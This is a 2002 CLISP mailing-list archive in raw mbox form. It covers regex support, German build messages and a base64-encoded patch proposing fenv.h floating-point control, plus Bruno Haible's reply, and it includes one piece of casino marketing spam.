MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 29 12:20:13 2002 X-Original-Date: 29 Aug 2002 15:19:44 -0400 > * In message > * On the subject of "Re: [clisp-list] Strange princ behavior" > * Sent on Thu, 29 Aug 2002 13:53:06 -0500 > * Honorable glenn.burnside@ni.com writes: > > that did the trick. (and of course, I'm using version 2.28, not 2.82 > =-) ). For future reference, what would be the best place to find out > about implementation-specific behavior like this? your specific question is actually answered in full detail here: see also: -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Lisp is a language for doing what you've been told is impossible. - Kent Pitman From marketing@casinoresellers.com Fri Aug 30 18:13:27 2002 Received: from panoramix.vasoftware.com ([198.186.202.147]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17kwpL-00070S-00 for ; Fri, 30 Aug 2002 18:13:27 -0700 Received: from [200.69.211.164] (port=1479 helo=yahoo.com) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 17kwpI-0001T1-00 for ; Fri, 30 Aug 2002 18:13:24 -0700 Received: from mta05bw.bigpond.com ([129.110.33.12]) by sydint1.microthin.com.au with QMQP; Thu, 29 Aug 2002 06:57:27 -0400 Received: from 177.105.45.118 ([177.105.45.118]) by web13708.mail.yahoo.com with QMQP; Tue, 27 Aug 2002 19:55:03 -0000 Received: from [224.99.58.225] by rly-xl05.mx.aol.com with esmtp; Mon, 26 Aug 2002 08:52:39 -0300 Reply-To: Message-ID: From: To: MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: AOL 7.0 for Windows US sub 118 Importance: Normal Content-Type: multipart/mixed; boundary="----=_NextPart_000_00Z1_11B11E2G.G1333L54" X-Spam-Status: No, hits=5.1 required=7.0 tests=NO_REAL_NAME,CASINO,MAILTO_LINK,MIME_MISSING_BOUNDARY, BASE64_ENC_TEXT version=2.21 X-Spam-Level: ***** Subject: [clisp-list] Interested with a marketing partnership with your site. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 30 18:14:01 2002 X-Original-Date: Fri, 30 Aug 2002 18:13:24 -0700 ------=_NextPart_000_00Z1_11B11E2G.G1333L54 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: base64 PEhUTUw+DQo8SEVBRD4NCjxNRVRBIE5BTUU9IkdFTkVSQVRPUiIgQ29udGVudD0iTWljcm9zb2Z0 IERIVE1MIEVkaXRpbmcgQ29udHJvbCI+DQo8VElUTEU+PC9USVRMRT4NCjwvSEVBRD4NCjxCT0RZ Pg0KPFA+PEZPTlQgZmFjZT1BcmlhbD48L0ZPTlQ+SGVsbG8sPC9QPg0KPFA+Jm5ic3A7Jm5ic3A7 Jm5ic3A7IEkmbmJzcDtoYXZlIHZpZXdlZCB5b3VyIHdlYnNpdGUgYW5kIGNvbmNsdWRlZCB0aGF0 IG91ciANCmNvbXBhbnkgaXMgaW50ZXJlc3RlZCBpbiBvYnRhaW5pbmcgYWR2ZXJ0aXNpbmcgc3Bh Y2UuJm5ic3A7IEluIG9yZGVyIHRvIA0KZXN0YWJsaXNoIGEgcHJvZmVzc2lvbmFsIHJlbGF0aW9u c2hpcCB3aXRoIHlvdXIgYnVzaW5lc3Mgd2UgcmVxdWlyZSBkaXJlY3QgDQpjb21tdW5pY2F0aW9u LiZuYnNwOyBVcG9uIHJlcGx5aW5nIHRvIHRoaXMgZW1haWwgcGxlYXNlIHByb3ZpZGUgbWUgd2l0 aCB5b3VyIA0KdGVsZXBob25lIGNvbnRhY3QgaW5mb3JtYXRpb24uJm5ic3A7IFdlIGxvb2sgZm9y d2FyZCB0byBkb2luZyBidXNpbmVzcyB3aXRoIHlvdSANCmluIHRoZSBmdXR1cmUuPC9QPg0KPFA+ UmVnYXJkcyw8QlI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IA0KPEVNPkplc3NlPC9FTT48L1A+DQo8 QUREUkVTUz5KZXNzZSBGLiBLZWxsZXI8QlI+VlAgQnVzaW5lc3MgRGV2ZWxvcG1lbnQgDQo8QlI+ Q2FzaW5vcmVzZWxsZXJzLmNvbTxCUj5URUwuICg2MDQpIDY4OC0yMzEwPEJSPkZBWC4gKDYwNCkg Njg4LTIzMTI8QlI+VE9MTCANCkZSRUUgMS04ODgtNjMzLTIyNTk8QlI+PEEgDQpocmVmPSJtYWls dG86bWFya2V0aW5nQGNhc2lub3Jlc2VsbGVycy5jb20iPm1hcmtldGluZ0BjYXNpbm9yZXNlbGxl cnMuY29tPC9BPiA8QlI+DQo8SFIgaWQ9dW5kZWZpbmVkPg0KPC9BRERSRVNTPg0KPC9CT0RZPg0K PC9IVE1MPg0K From jens.himmelreich@hmmh.de Tue Sep 03 04:47:40 2002 Received: from ms.medienhaus-bremen.de ([62.154.252.88]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mC9k-00041k-00 for ; Tue, 03 Sep 2002 04:47:40 -0700 Received: from exch-svr.medienhaus-bremen.de (exch-svr.medienhaus-bremen.de [62.154.252.131] (may be forged)) by ms.medienhaus-bremen.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id NAA05891 for ; Tue, 3 Sep 2002 13:48:55 +0200 From: jens.himmelreich@hmmh.de Received: by EXCH-SVR with Internet Mail Service (5.5.2650.21) id ; Tue, 3 Sep 2002 13:47:35 +0200 Message-ID: To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="ISO-8859-1" Subject: [clisp-list] clisp, regex, non-greedy Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 3 04:48:04 2002 X-Original-Date: Tue, 3 Sep 2002 13:47:34 +0200 Hi, Today I saw, that there is a clisp-binary for windows with regular expression support. That's great. I need the syntax for a non-greedy pattern. Does anybody know a pattern for this with old-style regex? Or a clisp-function, which wrapps the pattern? best regards jens himmelreich From empb@bese.it Tue Sep 03 05:11:30 2002 Received: from mail-4.tiscali.it ([195.130.225.150] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mCWm-0000li-00 for ; Tue, 03 Sep 2002 05:11:28 -0700 Received: from localhost (62.10.92.173) by mail.tiscali.it (6.5.026) id 3D6DC708001D4250; Tue, 3 Sep 2002 14:11:17 +0200 To: jens.himmelreich@hmmh.de Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp, regex, non-greedy References: From: Marco Baringer In-Reply-To: Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 3 05:12:03 2002 X-Original-Date: 03 Sep 2002 14:12:11 +0200 jens.himmelreich@hmmh.de writes: > Hi, > > Today I saw, that there is a clisp-binary for windows with > regular expression support. That's great. I need the syntax > for a non-greedy pattern. Does anybody know a pattern > for this with old-style regex? Or a clisp-function, which > wrapps the pattern? > > > best regards > jens himmelreich CLISP's regexp module is taken from GNU's findutils and does not support non-greedy quantifiers. 1) use Dorai Siaram's pregexp package (very perlish, but slow) http://www.ccs.neu.edu/~dorai/pregexp/pregexp.html 2) Michael Parker's regexp package (part of CL-AWK), which is faster than GNU's regexp module. (the only thing i miss from it is look-(ahead|behind)) http://www.geocities.com/mparker762/clawk.html -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From glauber.ribeiro@experian.com Tue Sep 03 14:13:52 2002 Received: from mailhub0.experian.com ([167.107.229.206]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mKzf-0001ZH-00 for ; Tue, 03 Sep 2002 14:13:51 -0700 Received: from 167.107.229.201 by mailhub0.experian.com (InterScan E-Mail VirusWall NT); Tue, 03 Sep 2002 15:59:33 -0500 Received: from expexch2.mck.experian.com (expexch2.mck.experian.com) by mailhub1.experian.com (8.11.6/8.11.6) with ESMTP id g83LCgi16275 for ; Tue, 3 Sep 2002 16:12:42 -0500 (CDT) Received: by expexch2.mck.experian.com with Internet Mail Service (5.5.2653.19) id ; Tue, 3 Sep 2002 16:14:13 -0500 Message-ID: From: "Ribeiro, Glauber" To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] PRegexp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 3 14:14:05 2002 X-Original-Date: Tue, 3 Sep 2002 16:14:47 -0500 >Message: 1 >From: jens.himmelreich@hmmh.de >To: clisp-list@lists.sourceforge.net >Date: Tue, 3 Sep 2002 13:47:34 +0200 >Subject: [clisp-list] clisp, regex, non-greedy >[...] >Today I saw, that there is a clisp-binary for windows with >regular expression support. That's great. I need the syntax >for a non-greedy pattern. Does anybody know a pattern >for this with old-style regex? Or a clisp-function, which >wrapps the pattern? Dorai Sitaram's Pregexp package http://www.ccs.neu.edu/~dorai/pregexp/pregexp.html has usually performed fast enough for what i need it to do (as long as you compile it and use compiled patterns when it makes sense). It has pretty much the same functionality as Perl regexps. g From mommer@igpm.rwth-aachen.de Wed Sep 04 07:58:23 2002 Received: from r220-1.rz.rwth-aachen.de ([134.130.3.31]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mbbm-0005br-00 for ; Wed, 04 Sep 2002 07:58:18 -0700 Received: from r220-1.rz.RWTH-Aachen.DE (relay2.RWTH-Aachen.DE [134.130.3.1]) by r220-1.rz.RWTH-Aachen.DE (8.12.1/8.11.3-2) with ESMTP id g84EwC44020915 for ; Wed, 4 Sep 2002 16:58:12 +0200 (MEST) Received: from cupid.igpm.rwth-aachen.de ([134.130.161.206]) by r220-1.rz.RWTH-Aachen.DE (8.12.1/8.11.3/24) with ESMTP id g84EwCrn020907 for ; Wed, 4 Sep 2002 16:58:12 +0200 (MEST) Received: from igpm.rwth-aachen.de (localhost [127.0.0.1]) by cupid.igpm.rwth-aachen.de (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g84EwBd04345 for ; Wed, 4 Sep 2002 16:58:12 +0200 Message-ID: <3D761F83.3040903@igpm.rwth-aachen.de> From: Mario Mommer User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Native Language Support / Internationalization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 4 07:59:04 2002 X-Original-Date: Wed, 04 Sep 2002 16:58:11 +0200 Hi, I was compiling clisp 2.29 when I realized that it's messages were in german. That's ok - but I find it annoying. How can I get it to display messages only in english? Regards, Mario. From hin@van-halen.alma.com Wed Sep 04 08:07:02 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mbkD-0006kJ-00 for ; Wed, 04 Sep 2002 08:07:01 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g84F6rkB005406; Wed, 4 Sep 2002 11:06:53 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g84F6rWC005403; Wed, 4 Sep 2002 11:06:53 -0400 Message-Id: <200209041506.g84F6rWC005403@van-halen.alma.com> From: "John K. Hinsdale" To: mommer@igpm.rwth-aachen.de CC: clisp-list@lists.sourceforge.net In-reply-to: <3D761F83.3040903@igpm.rwth-aachen.de> (message from Mario Mommer on Wed, 04 Sep 2002 16:58:11 +0200) Subject: Re: [clisp-list] Native Language Support / Internationalization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 4 08:08:01 2002 X-Original-Date: Wed, 4 Sep 2002 11:06:53 -0400 > I was compiling clisp 2.29 when I realized that it's messages were in > german. also, the tarball expands into "clisp/...." not "clisp-2.29/..." which is also not a big deal since no previous ones did so it would not overwrite a previous install. From samuel.steingold@verizon.net Wed Sep 04 08:10:58 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mbo0-0007eV-00 for ; Wed, 04 Sep 2002 08:10:56 -0700 Received: (cpmta 5349 invoked from network); 4 Sep 2002 08:10:54 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 4 Sep 2002 08:10:54 -0700 X-Sent: 4 Sep 2002 15:10:54 GMT To: Mario Mommer Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Native Language Support / Internationalization References: <3D761F83.3040903@igpm.rwth-aachen.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3D761F83.3040903@igpm.rwth-aachen.de> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 4 08:11:05 2002 X-Original-Date: 04 Sep 2002 11:10:53 -0400 > * In message <3D761F83.3040903@igpm.rwth-aachen.de> > * On the subject of "[clisp-list] Native Language Support / Internationalization" > * Sent on Wed, 04 Sep 2002 16:58:11 +0200 > * Honorable Mario Mommer writes: > > I was compiling clisp 2.29 when I realized that it's messages were in > german. > > That's ok - but I find it annoying. How can I get it to display > messages only in english? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The early bird may get the worm, but the second mouse gets the cheese. From will@misconception.org.uk Wed Sep 04 18:25:02 2002 Received: from cmailg2.svr.pol.co.uk ([195.92.195.172]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mlOH-0006Zi-00 for ; Wed, 04 Sep 2002 18:25:01 -0700 Received: from modem-147.clown-tang.dialup.pol.co.uk ([62.136.249.147] helo=there) by cmailg2.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17mlOD-0005rv-00 for clisp-list@lists.sourceforge.net; Thu, 05 Sep 2002 02:24:57 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_YPYX3LEU68L99GKAD1XU" Message-Id: Subject: [clisp-list] fenv.h support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 4 18:26:01 2002 X-Original-Date: Thu, 5 Sep 2002 02:27:34 +0100 --------------Boundary-00=_YPYX3LEU68L99GKAD1XU Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit CLISP relies on the fpu_control.h header to set the FPU behaviour on Linux. Unfortunately, fpu_control.h is unportable in many ways. The general anwser seems to be to use fenv.h, a standard header in C99. This patch will enable fenv.h support in preference to fpu_control.h if it is available. I have tested it and it *seems* to work. I've tried dividing by zero etc. in the interpreter and everything seems to function normally on my i386 Linux machine. It would be best if this patch got some testing before being considered for inclusion. Thanks, --------------Boundary-00=_YPYX3LEU68L99GKAD1XU Content-Type: text/x-diff; charset="iso-8859-1"; name="clisp-fenv.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="clisp-fenv.diff" LS0tIGNsaXNwLm9sZC9zcmMvYXV0b2NvbmYvYWNsb2NhbC5tNAkyMDAyLTA3LTI1IDIyOjM1OjM1 LjAwMDAwMDAwMCArMDEwMAorKysgY2xpc3Avc3JjL2F1dG9jb25mL2FjbG9jYWwubTQJMjAwMi0w OS0wNSAwMjoxMDo0MS4wMDAwMDAwMDAgKzAxMDAKQEAgLTE4NzksNiArMTg3OSwxNCBAQAogQUNf REVGSU5FKEhBVkVfU0lHQUxUU1RBQ0spKWRubAogXSlkbmwKIGRubAorQUNfREVGVU4oQ0xfRkVO ViwKK2RubCBDaGVjayBmb3IgZmVudi5oIGFuZCBhZGQgbWF0aCBsaWJyYXJ5IHRvIExJQlMKK1tB Q19DSEVDS19IRUFERVJTKGZlbnYuaClkbmwKK2lmIHRlc3QgIiRhY19jdl9oZWFkZXJfZmVudl9o IiA9IHllczsgdGhlbgorTElCUz0iJExJQlMgLWxtIgorZmkKK10pZG5sCitkbmwKIEFDX0RFRlVO KENMX0ZQVV9DT05UUk9MLAogW2RubCBDaGVjayBmb3IgTGludXggd2l0aCA8ZnB1X2NvbnRyb2wu aD4gYW5kIGZwdV9jb250cm9sX3Qgb3IgX19zZXRmcHVjdygpLgogZG5sIGdsaWJjIHZlcnNpb25z IHNpbmNlIE9jdG9iZXIgMTk5OCBkZWZpbmUgZnB1X2NvbnRyb2xfdC4gRWFybGllciB2ZXJzaW9u cwpAQCAtNDUyNSw0ICs0NTMzLDQgQEAKICAgKmJpZyopICAgIDs7CiBlc2FjCiBdKWRubAotZG5s CitkbmwgCi0tLSBjbGlzcC5vbGQvc3JjL3VuaXhjb25mLmguaW4JMjAwMi0wNy0yNSAyMjozNToz NS4wMDAwMDAwMDAgKzAxMDAKKysrIGNsaXNwL3NyYy91bml4Y29uZi5oLmluCTIwMDItMDktMDUg MDE6MjM6NTcuMDAwMDAwMDAwICswMTAwCkBAIC0yMjMsNiArMjIzLDEwIEBACiAgICBmdW5jdGlv bi4gKi8KICN1bmRlZiBIQVZFX1NFVEZQVUNXCiAKKy8qIGZlbnYuaCAqLworLyogRGVmaW5lIGlm IHlvdSBoYXZlIEM5OSBmbG9hdGluZyBwb2ludCAqLworI3VuZGVmIEhBVkVfRkVOVl9ICisKIC8q IENMX1JBSVNFICovCiAvKiBEZWZpbmUgaWYgeW91IGhhdmUgdGhlIHJhaXNlKCkgZnVuY3Rpb24u ICovCiAjdW5kZWYgSEFWRV9SQUlTRQotLS0gY2xpc3Aub2xkL3NyYy9jb25maWd1cmUuaW4JMjAw Mi0wNy0yNSAyMjozNTozMS4wMDAwMDAwMDAgKzAxMDAKKysrIGNsaXNwL3NyYy9jb25maWd1cmUu aW4JMjAwMi0wOS0wNSAwMTo0NDo0MC4wMDAwMDAwMDAgKzAxMDAKQEAgLTE2MCw2ICsxNjAsOCBA QAogICAgICAgICAgICAgICAgICAgICAgIGRubCBERUZTIFNJR0FDVElPTl9ORUVEX1VOQkxPQ0sK IENMX1NJR0lOVEVSUlVQVAogICAgICAgICAgICAgICAgICAgICAgIGRubCBERUZTIEhBVkVfU0lH SU5URVJSVVBULCBIQVZFX1NJR1ZFQworQ0xfRkVOVgorICAgICAgICAgICAgICAgICAgICAgIGRu bCBDaGVjayBmb3IgQzk5IEZQVSBjb250cm9sIGhlYWRlcnMKIENMX0ZQVV9DT05UUk9MCiAgICAg ICAgICAgICAgICAgICAgICAgZG5sIERFRlMgSEFWRV9GUFVfQ09OVFJPTF9ULCBIQVZFX1NFVEZQ VUNXCiBDTF9SQUlTRQotLS0gY2xpc3Aub2xkL3NyYy9zcHZ3LmQJMjAwMi0wNy0yNCAxOTowMzo1 OS4wMDAwMDAwMDAgKzAxMDAKKysrIGNsaXNwL3NyYy9zcHZ3LmQJMjAwMi0wOS0wNSAwMTozMjo0 NS4wMDAwMDAwMDAgKzAxMDAKQEAgLTIzLDcgKzIzLDkgQEAKIAogI2luY2x1ZGUgInZlcnNpb24u aCIKIAotI2lmIGRlZmluZWQoVU5JWF9MSU5VWCkgJiYgKGRlZmluZWQoRkFTVF9GTE9BVCkgfHwg ZGVmaW5lZChGQVNUX0RPVUJMRSkpICYmIGRlZmluZWQoSEFWRV9TRVRGUFVDVykKKyNpZiBkZWZp bmVkKEhBVkVfRkVOVl9IKQorICAjaW5jbHVkZSA8ZmVudi5oPgorI2VsaWYgZGVmaW5lZChVTklY X0xJTlVYKSAmJiAoZGVmaW5lZChGQVNUX0ZMT0FUKSB8fCBkZWZpbmVkKEZBU1RfRE9VQkxFKSkg JiYgZGVmaW5lZChIQVZFX1NFVEZQVUNXKQogICAjaW5jbHVkZSA8ZnB1X2NvbnRyb2wuaD4KICNl bmRpZgogCkBAIC0xNzA0LDcgKzE3MDYsMTQgQEAKICAgICAgICAgICBlbmRfc3lzdGVtX2NhbGwo KTsKICAgICAgICAgfQogICAgICAgI2VuZGlmCi0gICAgICAjaWYgZGVmaW5lZChVTklYX0xJTlVY KSAmJiAoZGVmaW5lZChGQVNUX0ZMT0FUKSB8fCBkZWZpbmVkKEZBU1RfRE9VQkxFKSkgJiYgIWRl ZmluZWQoSEFWRV9GUFVfQ09OVFJPTF9UKSAmJiBkZWZpbmVkKEhBVkVfU0VURlBVQ1cpCisgICAg ICAjaWYgZGVmaW5lZChVTklYX0xJTlVYKSAmJiBkZWZpbmVkKEhBVkVfRkVOVl9IKQorICAgICAg IyBEaXNhYmxlIFNJR0ZQRQorICAgICAgIyBzaWduYWwoU0lHRlBFLCBTSUdfSUdOKTsKKyAgICAg IGZlbnZfdCBob2xkZW52OworICAgICAgZmVob2xkZXhjZXB0KCZob2xkZW52KTsKKyAgICAgICMg Um91bmQgdG8gbmVhcmVzdAorICAgICAgZmVzZXRyb3VuZChGRV9UT05FQVJFU1QpOworICAgICAg I2VsaWYgZGVmaW5lZChVTklYX0xJTlVYKSAmJiAoZGVmaW5lZChGQVNUX0ZMT0FUKSB8fCBkZWZp bmVkKEZBU1RfRE9VQkxFKSkgJiYgIWRlZmluZWQoSEFWRV9GUFVfQ09OVFJPTF9UKSAmJiBkZWZp bmVkKEhBVkVfU0VURlBVQ1cpCiAgICAgICAjIERhbWl0IERpdmlzaW9uIGR1cmNoIDAuMCBlaW4g TmFOIHVuZCBrZWluIFNJR0ZQRSBsaWVmZXJ0LgogICAgICAgX19zZXRmcHVjdyhfRlBVX0lFRUUp OwogICAgICAgI2VuZGlmCi0tLSBjbGlzcC5vbGQvc3JjL3VuaXhhdXguZAkyMDAyLTA3LTI1IDIy OjM1OjM1LjAwMDAwMDAwMCArMDEwMAorKysgY2xpc3Avc3JjL3VuaXhhdXguZAkyMDAyLTA5LTA1 IDAxOjE4OjM1LjAwMDAwMDAwMCArMDEwMApAQCAtNDcxLDcgKzQ3MSw3IEBACiAKICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT0KIAotI2lmIGRlZmluZWQoVU5JWF9MSU5VWCkgJiYgKGRlZmluZWQoRkFT VF9GTE9BVCkgfHwgZGVmaW5lZChGQVNUX0RPVUJMRSkpICYmIChkZWZpbmVkKEhBVkVfRlBVX0NP TlRST0xfVCkgfHwgIWRlZmluZWQoSEFWRV9TRVRGUFVDVykpCisjaWYgIWRlZmluZWQoSEFWRV9G RU5WX0gpICYmIGRlZmluZWQoVU5JWF9MSU5VWCkgJiYgKGRlZmluZWQoRkFTVF9GTE9BVCkgfHwg ZGVmaW5lZChGQVNUX0RPVUJMRSkpICYmIChkZWZpbmVkKEhBVkVfRlBVX0NPTlRST0xfVCkgfHwg IWRlZmluZWQoSEFWRV9TRVRGUFVDVykpCiAKICMgRGFtaXQgRGl2aXNpb24gZHVyY2ggMC4wIGVp biBOYU4gdW5kIGtlaW4gU0lHRlBFIGxpZWZlcnQ6CiAjIEVudHdlZGVyIG1pdCAtbGllZWUgbGlu a2VuLAo= --------------Boundary-00=_YPYX3LEU68L99GKAD1XU-- From haible@ilog.fr Thu Sep 05 07:46:29 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mxtm-0001s1-00 for ; Thu, 05 Sep 2002 07:46:23 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g85EgSN11647 for ; Thu, 5 Sep 2002 16:42:33 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002090516455014372 ; Thu, 05 Sep 2002 16:45:50 +0200 Received: from honolulu.ilog.fr ([172.17.4.104]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id g85Ejnt26619; Thu, 5 Sep 2002 16:45:50 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id QAA19205; Thu, 5 Sep 2002 16:47:49 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15735.28309.554964.41539@honolulu.ilog.fr> To: Will Newton Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: fenv.h support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 5 07:47:03 2002 X-Original-Date: Thu, 5 Sep 2002 16:47:49 +0200 (CEST) Will Newton writes: > CLISP relies on the fpu_control.h header to set the FPU behaviour on Linux. > Unfortunately, fpu_control.h is unportable in many ways. The general anwser > seems to be to use fenv.h, a standard header in C99. This patch will enable > fenv.h Thanks for the patch. But meanwhile this has changed in the clisp CVS: We don't use fpu_control.h any more, because it was glibc specific. But we don't want to use fenv.h either, for the following two reasons: * According to ISO C 99 section 7.6.1, you need #pragma stdc fenv_access on in order to obtain *any* non-default behaviour. And you don't know the default behaviour. * The only platform that I've seen that has is glibc. But the functions declared in it don't work on all platforms (in particular they don't work on i686). The glibc maintainers don't want to fix it; they say these are hardware limitations. So now we use autoconf checks to optimize clisp's code for the default FP behaviour. Bruno From will@misconception.org.uk Thu Sep 05 08:12:45 2002 Received: from cmailm1.svr.pol.co.uk ([195.92.193.18]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17myJI-0004uL-00 for ; Thu, 05 Sep 2002 08:12:44 -0700 Received: from modem-70.brethil.dialup.pol.co.uk ([62.136.143.70] helo=there) by cmailm1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17myJG-0006g7-00 for clisp-list@lists.sourceforge.net; Thu, 05 Sep 2002 16:12:43 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: fenv.h support X-Mailer: KMail [version 1.3.2] References: <15735.28309.554964.41539@honolulu.ilog.fr> In-Reply-To: <15735.28309.554964.41539@honolulu.ilog.fr> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: 